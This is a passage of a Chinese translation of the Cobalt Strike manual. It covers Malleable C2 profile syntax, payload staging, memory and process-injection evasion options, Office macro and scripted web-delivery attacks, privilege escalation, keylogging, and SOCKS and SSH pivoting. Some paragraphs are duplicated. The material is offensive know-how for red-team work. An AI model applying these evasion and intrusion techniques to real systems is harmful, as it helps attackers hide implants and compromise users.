header语句将告诉服务器从何处恢复转换后的元数据[1]。HTTP服务器负责为我们解析来自HTTP客户端的head。接下来,我们需要处理预处理语句。为了恢复转换的数据,我们将prepend解释为删除前x个字符[2],其中x是我们预先准备的原始字符串的长度。现在,只剩下解释最后一条语句base64了。我们以前使用base64编码函数来转换元数据。现在,我们使用base64解码来恢复元数据[3]。 一旦配置文件解释器完成执行每个反向语句后,我们将获得原始元数据 Data Transform Language 数据转换是一系列转换和传输数据的语句。数据转换语句是: Statement Action Inverse append "string" Append "string" Remove last LEN("string") characters base64 Base64 Encode Base64 Decode base64url URL-safe Base64 Encode URL-safe Base64 Decode mask XOR mask w/ random key XOR mask w/ same random key netbios NetBIOS Encode 'a' NetBIOS Decode 'a' netbiosu NetBIOS Encode 'A' NetBIOS Decode 'A' prepend "string" Prepend "string" Remove first LEN("string") characters 数据转换是这些语句中任意数量的任意顺序的组合。例如,您可以选择对要传输的数据进行NetBIOS编码,预先添加一些信息,然后对整个包进行base64编码。 数据转换总是以终止语句结束。在转换中只能使用一个终止语句。此语句告诉Beacon及其服务器在事务中的何处存储转换的数据。 有四个终止语句声明: Statement What header "header" Store data in an HTTP header parameter "key" Store data in a URI parameter print Send data as transaction body uri-append Append to URI 头终止语句将转换后的数据存储在HTTP头中。参数终止语句将转换后的数据存储在HTTP参数中。此参数始终作为URI的一部分发送。print语句在事务正文中发送转换后的数据。 print语句是http-get.server.output,http-post.server.output和http-stager.server.output块的预期终止语句。您可以对其他块使用header,parameter,print和uri-append termination语句。 如果在http-post.client.output上使用header、参数或uri append termination语句,beacon会将其响应分块到一个合理的长度,以适应事务的一部分 这些块及其发送的数据将在后面的部分中介绍。 Strings Beacon的Profile Language允许您在多个地方使用“strings”。通常,字符串被解释为-is。但是,您可以在字符串中使用一些特殊值: Value Special Value "\n" Newline character "\r" Carriage Return "\t" Tab character "\u####" A unicode character "\x##" A byte (e.g., \x41 = 'A') "\\" \ Headers and Parameters 数据转换是指标定制过程的重要组成部分。它们允许您对Beacon在每个事务中必须发送或接收的数据进行修改。也可以为每个事务添加额外的指示符。 在HTTP GET或POST请求中,这些无关的指示符以标题或参数的形式出现。使用客户端块中的参数语句将任意参数添加到HTTP GET或POST事务。 此代码将强制Beacon在发出请求时将 ?bar=blah添加到 /foobar URI中。 http-get { client { parameter "bar" "blah"; 使用客户端或服务器块中的头语句将任意HTTP头添加到客户端的请求或服务器的响应中。此标头语句添加了一个指标。 http-get { server { header "X-Not-Malware" "I promise!"; 配置文件解释器将按顺序解释头语句和参数语句。也就是说,Wininet库(客户机)和Cobalt Strike Web服务器对这些指标在事务中出现的位置有最终决定权。 选项 您可以通过配置文件配置Beacon的默认值。有两种类型的选项:全局和本地选项。全局选项会更改全局Beacon设置。本地选项是特定于事务的,您必须在正确的上下文中设置本地选项。 使用set语句设置选项。 set "sleeptime" "1000"; 以下是可用选项: Option Context Default Value Changes amsi_disable false (Attempt to) disable AMSI for execute-assembly, powerpick, and psinject dns_idle 0.0.0.0 IP address used to indicate no tasks are available to DNS Beacon; Mask for other DNS C2 values dns_max_txt 252 Maximum length of DNS TXT responses for tasks dns_sleep 0 Force a sleep prior to each individual DNS request. (in milliseconds) dns_stager_prepend Prepend text to payload stage delivered to DNS TXT record stager dns_stager_subhost .stage.123456. Subdomain used by DNS TXT record stager. dns_ttl 1 TTL for DNS replies host_stage true Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers. jitter 0 Default jitter factor (0-99%) maxdns 255 Maximum length of hostname when uploading data over DNS (0-255) pipename msagent_## Name of pipe to use for SMB Beacon's peer-to-peer communication. ## is replaced with a number unique to your team server. pipename_stager status_## Name of pipe to use for SMB Beacon's named pipe stager. ## is replaced with a number. sample_name My Profile The name of this profile (used in the Indicators of Compromise report) sleeptime 60000 Default sleep time (in milliseconds) spawnto_x86 %windir%\syswow64\rundll32.exe Default x86 program to open and inject shellcode into spawnto_x64 %windir%\sysnative\rundll32.exe Default x64 program to open and inject shellcode into tcp_port 4444 TCP Beacon listen port uri http-get, http-post [required option] Transaction URI uri_x86 http-stager x86 payload stage URI uri_x64 http-stager x64 payload stage URI useragent Internet Explorer (Random) Default User-Agent for HTTP comms. verb http-get, http-post GET, POST HTTP Verb to use for transaction 使用uri选项,可以将多个uri指定为一个空格分隔的字符串。Cobalt Strike的Web服务器将绑定所有这些URI,并在构建Beacon阶段时将其中一个URI分配给每个Beacon主机。 即使存在useragent选项; 您可以使用header语句来覆盖此选项。 Beacon HTTP Transaction 为了将所有这些放在一起,有助于了解Beacon事务的外观以及每个请求发送的数据。 当Beacon向Cobalt Strike的Web服务器发出HTTP GET请求时,事务就会开始。此时,Beacon必须发送 包含有关受控系统信息的元数据。 提示:会话元数据是加密的数据blob。没有编码,它不适合在头或URI参数中传输。始终应用base64,base64url或netbios语句对元数据进行编码。 Cobalt Strike的Web服务器使用Beacon执行的任务来应答此HTTP GET。这些任务最初是作为一个加密的二进制blob发送的。您可以在HTTP GET的服务器上使用output关键字转换此信息。 当Beacon执行其任务时,它会累积输出。完成所有任务后,Beacon会检查是否有要发送的输出。如果没有输出,Beacon会进入睡眠状态。如果有输出,Beacon会发起HTTP POST请求。 HTTP POST请求必须包含URI参数或标头中的会话ID。Cobalt Strike使用此信息将输出与正确的会话相关联。发布的内容最初是加密的二进制blob。您可以使用http-post的客户端上的output关键字转换此信息。 Cobalt Strike的Web服务器可能会响应任何请求的HTTP POST。Beacon不会清除或使用此信息。您可以使用http-post的服务器上的output关键字指定HTTP POST的输出。 注意:虽然http-get默认使用GET,而http-post默认使用POST,但您不必拘泥于这些选项。使用动词选项更改这些默认值。这里有很大的灵活性。 此表总结了这些关键字及其发送的数据: Request Component Block Data http-get client metadata Session metadata http-get server output Beacon's tasks http-post client id Session ID http-post client output Beacon's responses http-post server output Empty http-stager server output Encoded payload stage HTTP Staging Beacon是一个分阶段的有效载荷。这意味着有效负载由stager下载并注入内存。在目标内存中有Beacon之前,HTTP GET和HTTP POST指标不会生效。Malleable C2的http-stager块可自定义HTTP分段过程。 http-stager { set uri_x86 "/get32.gif"; set uri_x64 "/get64.gif"; 该uri_x86选项设置URI下载x86的有效载荷阶段。该uri_x64选项设置URI下载64位的有效载荷阶段。 client { parameter "id" "1234"; header "Cookie" "SomeValue"; } http-stager上的client关键字定义了HTTP事务的客户端。使用parameter关键字将参数添加到URI中。使用header关键字将标头添加到stager的HTTP GET请求中。 server { header "Content-Type" "image/gif"; output { prepend "GIF89a"; print; } } } HTTP stager上下文下的server关键字定义了HTTP事务的服务器端。header关键字将服务器头添加到服务器的响应中。HTTP stager服务器上的output关键字是用于更改有效负载阶段的数据转换。此转换只能在阶段前附加字符串。使用打印终止语句关闭此输出块。 HTTP Headers http-config块对Cobalt Strike的Web服务器提供的所有HTTP响应都有影响。在这里,您可以指定其他HTTP标头和HTTP标头顺序。 http-config { set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type"; header "Server" "Apache"; header "Keep-Alive" "timeout=5, max=100"; header "Connection" "Keep-Alive"; } header关键字为cobalt strike的每个HTTP响应添加一个header值。如果响应中已经定义了标头值,则忽略该值。 set headers选项指定这些HTTP头在HTTP响应中的传递顺序。不在此列表中的任何标题都将添加到末尾。 使用SSL Beacon的自签名证书 HTTPS Beacon在其通信中使用HTTP Beacon的指示符。Malleable C2配置文件还可以指定Beacon C2服务器的自签名SSL证书的参数。如果要在SSL证书中复制具有唯一指示符的actor,这非常有用: https-certificate { set CN "bobsmalware.com"; set O "Bob's Malware"; } 置文件控制的证书参数: Option Example Description C US Country CN beacon.cobaltstrike.com Common Name; Your callback domain L Washington Locality O Strategic Cyber LLC Organization Name OU Certificate Department Organizational Unit Name ST DC State or Province validity 365 Number of days certificate is valid for 使用SSL Beacon的有效SSL证书 您可以选择将有效SSL证书与Beacon一起使用。使用Malleable C2配置文件指定Java密钥库文件和密码。此密钥库必须包含证书的私钥,根证书,任何中间证书以及SSL证书供应商提供的域证书。Cobalt Strike希望在与Malleable C2配置文件相同的文件夹中找到Java Keystore文件。 https-certificate { set keystore "domain.store"; set password "mypassword"; } 使用有效SSL证书的参数是: Option Example Description keystore domain.store Java Keystore file with certificate information password mypassword The password to your Java Keystore 以下是创建用于Cobalt Strike的Beacon的有效SSL证书的步骤: 1.使用keytool程序创建Java密钥存储文件。这个程序会询问“你的姓名是什么?” 确保使用完全权威的域名来响应Beacon服务器。另外,请确保记下密钥库密码。你以后会需要它。 $ keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store 2.使用keytool生成证书签名请求(CSR)。您将向您的SSL证书供应商提交此文件。他们将验证您的身份并颁发证书。有些供应商比其他供应商更容易和便宜。 $ keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store 3.导入SSL供应商提供的Root和任何中间证书。 $ keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore domain.store 4.最后,您必须安装域证书。 $ keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store 而且,就是这样。您现在拥有一个可以与Cobalt Strike的Beacon一起使用的Java Keystore文件。 代码签名证书 Attacks -> Packages -> Windows Executable and Windows Executable (S) 为您提供签署可执行文件或DLL文件的选项。要使用此选项,必须使用代码签名证书和私钥指定Java Keystore文件。Cobalt Strike希望在与Malleable C2配置文件相同的文件夹中找到Java Keystore文件。 code-signer { set keystore "keystore.jks"; set password "password"; set alias "server"; } 代码签名证书设置为: Option Example Description alias server The keystore's alias for this certificate digest_algorithm SHA256 The digest algorithm keystore keystore.jks Java Keystore file with certificate information password mypassword The password to your Java Keystore timestamp false Timestamp the file using a third-party service timestamp_url http://timestamp.digicert.com URL of the timestamp service PE and Memory Indicators Malleable C2配置文件中的stage块控制Beacon如何加载到内存中并编辑Beacon DLL的内容。 stage { set userwx "false"; set compile_time "14 Jul 2009 8:14:00"; set image_size_x86 "512000"; set image_size_x64 "512000"; set obfuscate "true"; transform-x86 { prepend "\x90\x90"; strrep "ReflectiveLoader" "DoLegitStuff"; } transform-x64 { # transform the x64 rDLL stage } stringw "I am not Beacon!"; } 阶段块接受将字符串添加到beacon dll的.rdata部分的命令。string命令添加一个以零结尾的字符串。stringw命令添加了一个宽(utf-16le编码)字符串。data命令按原样添加字符串。 Transform-x86和Transform-X64阻止PAD和Transform Beacon的反射DLL阶段。这些块支持三个命令:prepend、append和strrep。 prepend命令在beacon的反射dll之前插入一个字符串。append命令在beacon-reflective dll后面添加一个字符串。确保预先准备好的数据是阶段体系架构(x86、x64)的有效代码。c2lint程序没有对此进行检查。strrep命令替换beacon反射dll中的字符串。 stage块接受几个控制Beacon DLL内容的选项,并提供改变Beacon反射加载器行为的提示: Option Example Description checksum 0 The CheckSum value in Beacon's PE header cleanup false Ask Beacon to attempt to free memory associated with the Reflective DLL package that initialized it. compile_time 14 July 2009 8:14:00 The build time in Beacon's PE header entry_point 92145 The EntryPoint value in Beacon's PE header image_size_x64 512000 SizeOfImage value in x64 Beacon's PE header image_size_x86 512000 SizeOfImage value in x86 Beacon's PE header module_x64 xpsservices.dll Same as module_x86; affects x64 loader module_x86 xpsservices.dll Ask the x86 ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc. name beacon.x64.dll The Exported name of the Beacon DLL obfuscate false Obfuscate the Reflective DLL's import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers. rich_header Meta-information inserted by the compiler sleep_mask false Obfuscate Beacon, in-memory, prior to sleeping stomppe true Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it loads Beacon payload userwx false Ask ReflectiveLoader to use or avoid RWX permissions for Beacon DLL in memory Cloning PE Headers Cobalt Strike的Linux软件包包括一个工具peclone,用于从dll中提取头文件并将其显示为一个随时可用的阶段块: ./peclone [/path/to/sample.dll] 内存中的逃逸和混淆 使用stage block的prepend命令来阻止分析,该分析扫描内存段的前几个字节以查找注入DLL的符号。如果使用特定于工具的字符串来检测代理,请使用strrep命令更改它们。 如果strrep不够,请将sleep_mask设置为true。这导致Beacon在进入睡眠状态之前在内存中进行模糊处理。在休眠之后,Beacon会对自己进行去模糊处理以请求和处理任务。SMB和Beacon将在等待新连接或等待父会话中的数据时进行模糊处理。 决定您希望在内存中看起来像一个DLL特征。那么您希望方便检测,请将stomppe设置为false。如果您想在内存中轻微混淆Beacon DLL,请将stomppe设置为true。如果您想要应对挑战,请将obfuscate设置为true。此选项将采取许多步骤来混淆Beacon阶段和内存中DLL的最终状态 将userwx设置为false以询问Beacon的加载器以避免以RWX权限执行。具有这些权限的内存段将引起安全分析师和安全产品的额外关注。 默认情况下,Beacon的加载程序使用VirtualAlloc分配内存。模块踩踏是另一种选择。将module_x86设置为DLL,该DLL大约是Beacon有效负载本身的两倍。Beacon的x86加载器将加载指定的DLL,在内存中找到它的位置,并覆盖它。这是一种将Beacon置于Windows与磁盘上的文件关联的内存中的方法。您想要驻留的应用程序不需要您选择的DLL。重要的是module_x64选项是相同的,但它会影响x64 Beacon。 如果您担心在内存中初始化Beacon DLL的Beacon阶段,请将cleanup设置为true。当不再需要时,此选项将释放与Beacon阶段相关联的内存。 Process Injection Malleable C2配置文件中的进程注入块可以注入内容并控制进程注入行为。 process-inject { set min_alloc "16384"; set startrwx "true"; set userwx "false"; transform-x86 { prepend "\x90\x90"; } transform-x64 { # transform x64 injected content } disable "CreateRemoteThread"; } transform-x86和transform-x64阻止Beacon注入的PAD内容。这些块支持两个命令:prepend和append。 prepend命令在插入的内容之前插入一个字符串。append命令在注入的内容之后添加一个字符串。确保预先准备好的数据是注入内容体系架构(x86、x64)的有效代码。c2lint程序没有对此进行检查。 该disable语句是一个提示语,以避免在beacon的进程注入例程中使用某些API的提示。您可以禁用:SetThreadContext,CreateRemoteThread和RtlCreateUserThread。请注意,当您禁用这些调用时,您可能会在Beacon的进程注入例程中引入可避免的失败。c2lint命令会发出一些警告 process-inject块接受几个控制Beacon中的过程注入的选项: Option Example Description min_alloc 4096 Minimum amount of memory to request for injected content startrwx true Use RWX as initial permissions for injected content. Alternative is RW. userwx false Use RWX as final permissions for injected content. Alternative is RX. 哪个更危险,Malleable C2还是swimming pool 答案是什么?两者都有。Malleable C2为您提供了对网络和主机指标的全新控制。有了这种权限,责任也随之而来。Malleable C2也是一个犯很多错误的地方。当您自定义配置文件时,需要考虑以下几点: 1.每个Cobalt Strike实例一次使用一个配置文件。如果您更改配置文件或加载新配置文件,则以前部署的Beacons无法与您通信。 2.始终了解数据的状态以及在开发数据转换时协议允许的内容。例如,如果您使用base64编码元数据并将其存储在一个uri参数中,那么它将不起作用。为什么?一些base64字符(+、=、和/)在URL中有特殊含义。c2lint工具和Profile Compiler不会检测这些类型的问题。 3.即使经过小的更改,也要测试您的配置文件。如果Beacon无法与您通信,可能是您的配置文件有问题。编辑并重试。 4.信任c2lint工具。该工具超越了配置文件编译器。这些检查的基础是这项技术的实施方式。如果c2lint检查失败,则表示您的配置文件存在真正的问题。 Malleable Command and Control Demo Make Token 进入到[beacon] - > Access - > Make Token,并打开Cobalt Strike的Make Token对话框。此对话框显示Cobalt Strike的凭据,并将所选凭据转换为令牌。 Microsoft Word和Excel宏攻击 Microsoft Office宏工具将生成一个宏以嵌入到Microsoft Word或Microsoft Excel文档中。进入到Attacks -> Packages -> MS Office Macro 选择一个侦听器,然后按Generate创建恶意MS Office宏。Cobalt Strike将提供逐步说明,将宏嵌入到Word或Excel文档中。 当您可以欺骗用户在打开文档时运行宏时,此攻击很有效。 MS Word和Excel宏攻击 Payload Generator Cobalt Strike的Payload Generator输出源代码和artifacts,将Cobalt Strike监听器转移到主机上。可以把它想象成msfvenom的Cobalt Strike版本。 要生成有效负载,请进入到Attacks - > Packages - > Payload Generator。 将Listener选项设置为要为其输出有效负载的Cobalt Strike Listener。 使用Output选择您想要的输出类型。大多数选项都会为该语言提供格式化为字节数组的shellcode。有几个选项可以让您立即使用: Option What? COM Scriptlet A .sct file to run a listener PowerShell PowerShell script to run shellcode PowerShell Command PowerShell one-liner to run a Beacon stager. Raw blob of position independent shellcode. Veil Custom shellcode suitable for use with the Veil Evasion Framework. 选中“Use x64 payload ”框为所选侦听器生成x64 stager。 创建可执行Beacon的Veil Evasion Framework: 复制刚生成的veil的poc: 端口扫描器 进入到 [beacon] -> Explore -> Port Scanner,以启动端口扫描工具。 Beacon扫描端口 Listener Management 要管理您的Cobalt Strike监听器,请进入到Cobalt Strike - > Listeners。这将打开一个列出所有持久侦听器的选项卡。单击“ Add”按钮以创建新的侦听器。 给你的监听器设置一个有意义的名称。这是您在生成社交工程包,传递会话或设置客户端攻击时用来引用它的名称。 使用Payload下拉列表选择此侦听器将提供的有效负载。 “host和port”字段定义有效负载将从何处进行转移。您可以在“host”字段中使用完全权威的域名。 按Save按钮来保存侦听器,并为侦听器启动服务器。 其他选项 Listeners选项卡是用来管理监听器。突出显示侦听器,然后按 Edit以更改侦听器。 突出显示一个或多个侦听器,然后按“ Remove”。这将阻止这些监听器并将其从Cobalt Strike中移除。 使用 你可以使用具有Cobalt Strike攻击和后期开发功能的侦听器。这些功能将允许您按名称选择侦听器。确保为每个侦听器使用描述性名称。 Foreign Listeners Cobalt Strike支持 foreign listeners。这些是Metasploit®框架或其他Cobalt Strike实例中托管的x86有效负载处理程序的别名。要将Windows HTTPS Meterpreter会话传递给具有msfconsole的朋友,请定义一个windows/foreign/reverse侦听器,并将Host和Port值指向其处理程序。您可以在任何使用常规Cobalt Strike侦听器的地方使用外部侦听器。 会话传递 权限升级 进入到[beacon] - > Access - > Elevate以启动权限提升漏洞利用。选择一个侦听器,选择一个exploit,然后按“ Launch ”以运行该漏洞。此对话框是Beacon的提升权限命令的前端。 Cobalt Strike附带三个内置漏洞: ms14-058是一个(过时的)权限升级漏洞利用程序,可用于未打补丁的Windows 7系统提权。 UAC DLL是一种绕过UAC的攻击,它试图将本地管理员运行的有效负载从低权限提升到高权限。此攻击使用UAC漏洞将Artifact Kit生成的DLL复制到特权位置。然后,它运行一个应用程序,该应用程序(a)在运行时具有完全权限,(b)易受DLL劫持的攻击。这些步骤加载启动Beacon会话的DLL。此攻击适用于Windows 7和Windows 8及更高版本的未修补版本。如果Always Notify处于其最高设置,则此攻击将不起作用。 uac-token-duplication是另一种绕过UAC的攻击,将其从低权限提升到高权限(作为本地管理员)。这种攻击使用一个UAC漏洞,允许非提升进程使用从提升进程中窃取的令牌启动任意进程。此漏洞要求攻击删除分配给提升令牌的多个权限。。此攻击适用于Windows 7及更高版本。如果Always Notify处于其最高设置,则此攻击要求提升的进程已在当前桌面会话中运行(作为同一用户)。此漏洞使用PowerShell生成会话。 您可以通过Elevate Kit向Cobalt Strike添加权限提升漏洞。Elevate Kit是一个Aggressor脚本,它将几个开源特权升级漏洞集成到Cobalt Strike中。https://github.com/rsmudge/ElevateKit。 Elevate Kit提升套件 、 Process Browser 进入到 [beacon] -> Explore -> Show Processes以打开进程浏览器 进程浏览器显而易见; 它要求Beacon显示进程列表并向给你输出这些信息。Process Browser也是从其他进程模拟令牌,部署屏幕截图工具或部署键盘记录器。突出显示一个或多个进程,然后选择对话框底部的相应按钮。 进程浏览器 如果您突出显示多个信标并将其命令显示进程,Cobalt Strike将显示一个进程浏览器,该进程浏览器还会指出进程来自哪个主机。Process Browser的这种变体是将Beacon的后期开发工具同时部署到多个系统的便捷方式。只需按进程名称排序,突出显示目标系统上的有趣进程,然后按屏幕截图或日志按键按钮将这些工具部署到所有突出显示的系统。 如果您突出显示多个Beacon并让它们显示进程,Cobalt Strike将显示一个进程浏览器,该进程浏览器还会指出进程来自哪个主机。Process Browser的这种变体是将Beacon的后期开发工具同时部署到多个系统的便捷方式。只需按进程名称排序,突出显示目标系统上重要进程,然后按Screenshot或Keystrokes 按钮将这些工具部署到所有突出显示的系统 大规模用户利用 Reporting Cobalt Strike提供了多种报告选项,可帮助您了解数据并向客户呈现你的报告。您可以配置大多数报告中显示的标题,说明和主机。 进入到“ Reporting ”并选择要生成的其中一个报告。Cobalt Strike会将您的报告导出为MS Word或PDF文档格式。 报告类型 ·活动报告(.pdf) 活动报告提供了红队活动的时间表。 ·主机报告(.pdf) 主机报告按主机统计了Cobalt Strike的数据模型。此处记录了主机,服务,凭据和会话。 ·折衷报告指标.pdf) 该报告类似于威胁情报报告中的“折衷指标”附录。内容包括对您的Malleable C2配置文件的生成分析,您使用的域名以及您上传的文件的MD5哈希值。 ·会议报告(.pdf) 该报告提供了红队活动的完整信息。它捕获每个会话,该会话的通信路径,在该会话期间放置在目标上的MD5哈希值,并提供红队活动的运行日志。 ·社会工程报告(.pdf) 社交工程报告记录每一次点击的鱼叉钓鱼邮件,以及从点击的每个用户收集的内容。此报告还显示由系统探查器发现的应用程序。 ·战术,技术和程序报告(.pdf) 此报告将您的Cobalt Strike行动映射到MITRE的ATT&CK Matrix中。ATT&CK描述了每个策略以及检测和解决方案。您可以在https://attack.mitre.org了解更多关于MITRE的ATT&CK的信息 自定义标签 Cobalt Strike报告在第一页顶部显示Cobalt Strike图标。您可以用自己选择的图像替换来它。进入到Cobalt Strike -> Preferences -> Reporting 并设置您要使用的图标。也可以设置强调色。强调文字颜色是报表第一页图像下方的粗线。 报告首选项 您的自定义图像应该是1192X257px,设置为300dpi。300dpi设置是报表引擎以正确的大小呈现图像所必需的。 自定义报告 Cobalt Strike使用特定于域的语言来定义其报告。您可以通过“ Report Preferences”对话框来加载自己的报告。要了解有关此功能的更多信息,请参阅Aggressor Script文档的“ 自定义报告”一章 Resource Kit Resource Kit是Cobalt Strike改变Cobalt Strike在其工作流程中使用的HTA,PowerShell,Python,VBA和VBS脚本模板的方法。同样,Resource Kit可供Cobalt Strike库中的许可用户使用。进入到Help -> Arsenal 下载Resource Kit。 Resource Kit附带的README.txt记录了包含的脚本以及使用它们的功能。要规逃避AV检查,请考虑更改这些脚本中的字符串或特征 要使Cobalt Strike在内置脚本模板上使用脚本模板,请加载Resource Kit附带的resources.cna脚本。 Resource Kit Scripted Web Delivery 该 Attacks -> Web Drive-by -> Scripted Web Delivery功能产生启动信标,承载它钴攻击的Web服务器上,并提出了一个班轮下载并运行该神器神器。选项包括:bitsadmin,powershell,python和regsvr32。 该 Attacks -> Web Drive-by -> Scripted Web Delivery生成一个artifact并启动Beacon,将其托管在Cobalt Strike的web服务器上,并提供一个用于下载和运行artifact的一行程序。选项包括:bitsadmin、powershell、python和regsvr32。 bitsadmin选项托管一个可执行文件,并使用bitsadmin下载它。bitsadmin方法通过cmd.exe运行可执行文件。PowerShell选项托管PowerShell脚本,并使用PowerShell.exe下载该脚本并对其进行评估。python选项托管一个python脚本,并使用python.exe下载并运行该脚本。regsvr32选项生成一个com scriptlet文件,并使用regsvr32.exe下载和运行scriptlet的内容。COM Scriptlet使用恶意的VBA宏将Beacon输入内存。COM Scriptlet选项要求目标上有Microsoft Office。每个选项都是运行Cobalt Strike侦听器的不同方式。 选中Enable SSL 以通过SSL提供此内容。在Malleable C2配置文件中指定有效的SSL证书时,此选项可用。确保Host字段与SSL证书的CN字段匹配。这将避免由于这些字段之间的不匹配而导致此功能失败的情况 Scripted Web Delivery使用 Aggressor Script Aggressor Script是Cobalt Strike 3.0版及更高版本中内置的脚本语言。Aggresor Script允许您修改和扩展Cobalt Strike客户端。 Aggressor脚本的文档位于https://www.cobaltstrike.com/aggressor-script/ 历史参考 Aggressor Script是Armitage中开源脚本引擎Cortana的基础。通过DARPA的Cyber Fast Track项目,Cortana项目可能被实现。Cortana允许其用户通过Armitage的团队服务器扩展Armitage并控制Metasploit®框架及其功能。Cobalt Strike 3.0是在没有Armitage的基础上对Cobalt Strike的一次彻底改写。这一变化提供了一个重新审视Cobalt Strike脚本的机会,并围绕Cobalt Strike的功能构建一些东西。这项工作的成果是Aggressor Script。 Aggressor Script是一种脚本语言,用于受可脚本化IRC客户机和机器人程序的启发而进行的红色团队操作和对手模拟。它的目的是双重的。你可以创建一个长时间运行的机器人来模拟虚拟的红色成员,与你并排模拟进行黑客攻击。您也可以使用它来扩展和修改Cobalt Strike客户机以满足您的需要。 如何加载脚本 Aggressor Script内置于Cobalt Strike客户端。要永久加载脚本,请进入到Cobalt Strike - > Script Manager,然后按Load。 脚本加载器 Aggressor Script 具体参考说明:https://www.cobaltstrike.com/aggressor-script/index.html 输入help命令 从default.can中复制2段代码 Site Management Cobalt Strike功能使用自己的Web服务器。站点管理工具允许您管理此Web服务器。进入到Attacks -> Web Drive-by -> Manage以访问它。 突出显示URL并按“ Copy URL”将URL复制到剪贴板。按Kill关闭应用程序。 SOCKS Proxy Pivoting 进入到[beacon] - > Pivoting - > SOCKS Server,在您的团队服务器上设置SOCKS4a代理服务器。或者,使用socks 8080在端口8080(或您选择的任何其他端口)上设置SOCKS4a代理服务器。 通过这些SOCKS服务器的所有连接都将变为连接,读取,写入和关闭任务状态,以便执行相关的Beacon。您可以通过SOCKS的任何类型的Beacon(甚至是SMBBeacon)进行隧道传输。 Beacon的HTTP数据通道对数据转发的响应最快。。如果您想通过DNS转发流量,请使用DNS TXT记录通信模式。 要查看当前设置的SOCKS服务器,请进入到View - > Proxy Pivots。 在Beacon控制台中使用socks stop来停止SOCKS代理服务器。 Proxychains 该proxychains工具将强制外部程序使用指定的SOCKS代理服务器。您可以使用代理链强制第三方工具通过Cobalt Strike的SOCKS服务器 SOCKS Pivoting with Proxychains Metasploit 您还可以通过Beacon挖掘Metasploit®Framework漏洞和模块。创建Beacon SOCKS代理服务器[如上所述]并将以下内容粘贴到Metasploit®Framework控制台中: 您还可以通过Beacon隧道连接Metasploit®Framework漏洞和模块。创建Beacon Socks代理服务器[如上所述],并将以下内容粘贴到Metasploit®框架控制台中: setg Proxies socks4:team server IP:proxy port setg ReverseAllowProxy true 这些命令将显示Metasploit®Framework将Proxies选项应用于此前执行的所有模块。一旦您以这种方式完成了通过Beacon的转发,请使用unsetg Proxies来停止此执行。 如果您发现上面的内容难以记住,请进入到View -> Proxy Pivots.。突出显示您设置的代理转发,然后选择Tunnel。此按钮将提供通过Beacon传输Metasploit®Framework所需的setg Proxies语法。 Sending Metasploit through a SOCKS Proxy Pivot Spawn As 此对话框使用指定的凭据作为另一个用户生成Cobalt Strike侦听器。进入到[beacon] - > Access - > Spawn As打开它。 Elevate with Credentials 鱼叉式网络钓鱼SSH会话 Cobalt Strike通过内置SSH客户端控制UNIX目标。此SSH客户端通过父Beacon接收任务并将其输出链接信息。 右键单击目标并进入到 Login -> ssh ,使用用户名和密码进行身份验证。进入到Login -> ssh (key),使用密钥进行身份验证。 从Beacon控制台:使用ssh [target] [user] [password]从Beacon启动SSH会话。使用ssh-key [target] [user] [/path/to/key.pem]通过密钥进行身份验证。 这些命令运行Cobalt Strike的SSH客户端。客户端将向父Beacon输出任何连接或身份验证问题。如果连接成功,您将在Cobalt Strike中看到一个新会话。这是一个SSH会话。右键单击此会话,然后按Interact打开SSH控制台。 输入help以查看SSH会话支持的命令列表。输入help+命令名称以获取该命令的详细信息。 运行命令 shell命令将运行您提供的命令和参数。在Cobalt Strike将命令置于后台之前,运行命令会阻止ssh会话长达20秒。Cobalt Strike将报告这些长时间运行命令的输出。 使用sudo [password] [command + arguments]尝试通过sudo运行命令。此别名要求目标的sudo接受-S标志。 CD命令更改SSH会话的当前工作目录。PWD命令表示当前工作目录。 上传和下载文件 upload命令将文件上传到当前工作目录。 download命令将下载文件。使用下载命令下载的文件可在View -> Downloads下找到。您还可以键入 downloads以查看正在进行的文件下载。该cance命令将取消正在进行中的下载。 点对点C2 SSH会话可以控制TCPBeacons。使用connect命令可以控制等待连接的TCP Beacon。使用unlink命令断开TCP Beacon会话。 进入到[session] - > Listeners - > Pivot Listener ...以设置与此SSH会话关联的数据转发监听器。这将允许此受控的UNIX目标接收反向TCP Beacon会话。此选项确实要求SSH守护程序的GatewayPorts选项设置为yes或ClientSpecified。 SOCKS转发和反向端口转发 使用socks命令在您的团队服务器上创建一个socks服务器,通过ssh会话转发流量。rportfwd命令还将创建一个反向端口转发,通过ssh会话和 Beacon链路由流量。 rportfwd有一个警告:rportfwd命令要求SSH守护程序绑定到所有接口。SSH守护程序很可能会覆盖此并强制端口绑定到localhost。您需要将SSH守护程序的GatewayPorts选项更改为yes或clientspecified 利用Cobalt Strike SSH会话进行Unix后期利用 系统分析器 System Profiler是用于客户端攻击过程的侦察工具。此工具启动本地Web服务器,并对访问它的任何人进行身份识别。System Profiler会发现代理服务器后面的用户的内部IP地址以及多个应用程序及其版本信息。 要启动System Profiler,请进入到Attacks - > Web Drive-by - > System Profiler。 启动Profiler必须指定要绑定的URI和启动Cobalt Strike Web服务器的端口。 如果您指定一个Redirect URL,Cobalt Strike将在获取访问者的配置文件后将其重定向到此URL。单击“Launch”以启动System Profile。 System Profiler使用未签名的Java Applet来分解目标的内部IP地址,并确定目标的Java版本。使用Java的点击运行安全功能 - 这可能会引起怀疑。取消选中Use Java Applet获取信息框,以便在没有Java Applet的情况下运行System Profiler。 选中Enable SSL以通过SSL提供此内容。在Malleable C2配置文件中指定有效的SSL证书时,此选项可用。 要从System Profiler 查看结果,请进入到 View -> Applications。Cobalt Strike将列出它在系统分析过程中发现的所有应用程序。 Client-side Reconaissance 目标和服务 您可以通过View - > Targets与Cobalt Strike的目标信息进行交互。此选项卡显示与“目标可视化”相同的信息。 选择Import以导入包含目标信息的文件。Cobalt Strike接受每行一个主机的纯文本文件。它还接受由nmap生成的XML文件。。 选择Add 以手动将新目标添加到Cobalt Strike的数据模型中。 添加目标 此对话框允许您将多个主机添加到Cobalt Strike的数据库中。指定一个IP地址范围或在地址字段中使用CIDR表示法一次添加多个主机。单击“保存”将主机添加到数据模型并保持此对话框打开时按住SHIFT键。 